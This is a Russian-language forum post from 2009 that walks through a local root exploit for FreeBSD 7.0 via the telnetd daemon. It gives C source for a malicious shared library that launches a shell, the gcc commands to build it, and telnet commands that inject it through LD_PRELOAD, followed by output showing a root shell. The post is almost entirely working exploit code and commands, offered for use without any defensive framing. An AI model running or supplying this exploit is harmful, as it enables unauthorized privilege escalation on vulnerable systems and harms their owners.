Получение root привилегий через telnetd демон во FreeBSD

17.02.2009, 03:03

betakley

Новичок

Регистрация: 29.12.2008

Сообщений: 24

С нами: 9139874

Репутация: 20

Цитата:

Сообщение от BuG_4F

Забавно

Опишешь, через что использовать эксполит ?

Во FreeBSD 6.2 пробовал - не прокатило

зато в 7.0 на ура

делал все как написано в источнике:

1. создаем файл hack.c

Код:

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        FILE *f;
        setenv("LD_PRELOAD", "", 1);
        system("echo HACKED!!!;/bin/sh");
}

2. компилим

Код:

gcc -o hack.o -c hack.c -fPIC
gcc -shared -Wl,-soname,lib.so.1 -o lib.so.1.0 hack.o -nostartfiles

3. перемещаем например сюда

Код:

mv lib.so.1.0 /tmp

4. проверяем текущего юзера

Код:

$id
uid=1001(betakley) gid=1001(betakley) groups=1001(betakley),0(wheel)

5. набираем команду telnet и вводим

Код:

auth disable SRA
environ define LD_PRELOAD /tmp/lib.so.1.0
open localhost

6. получаем

Код:

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

FreeBSD/i386 (test) (ttyp1)

HACKED!!!

7. проверяем

Код:

# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD test 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008     root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
#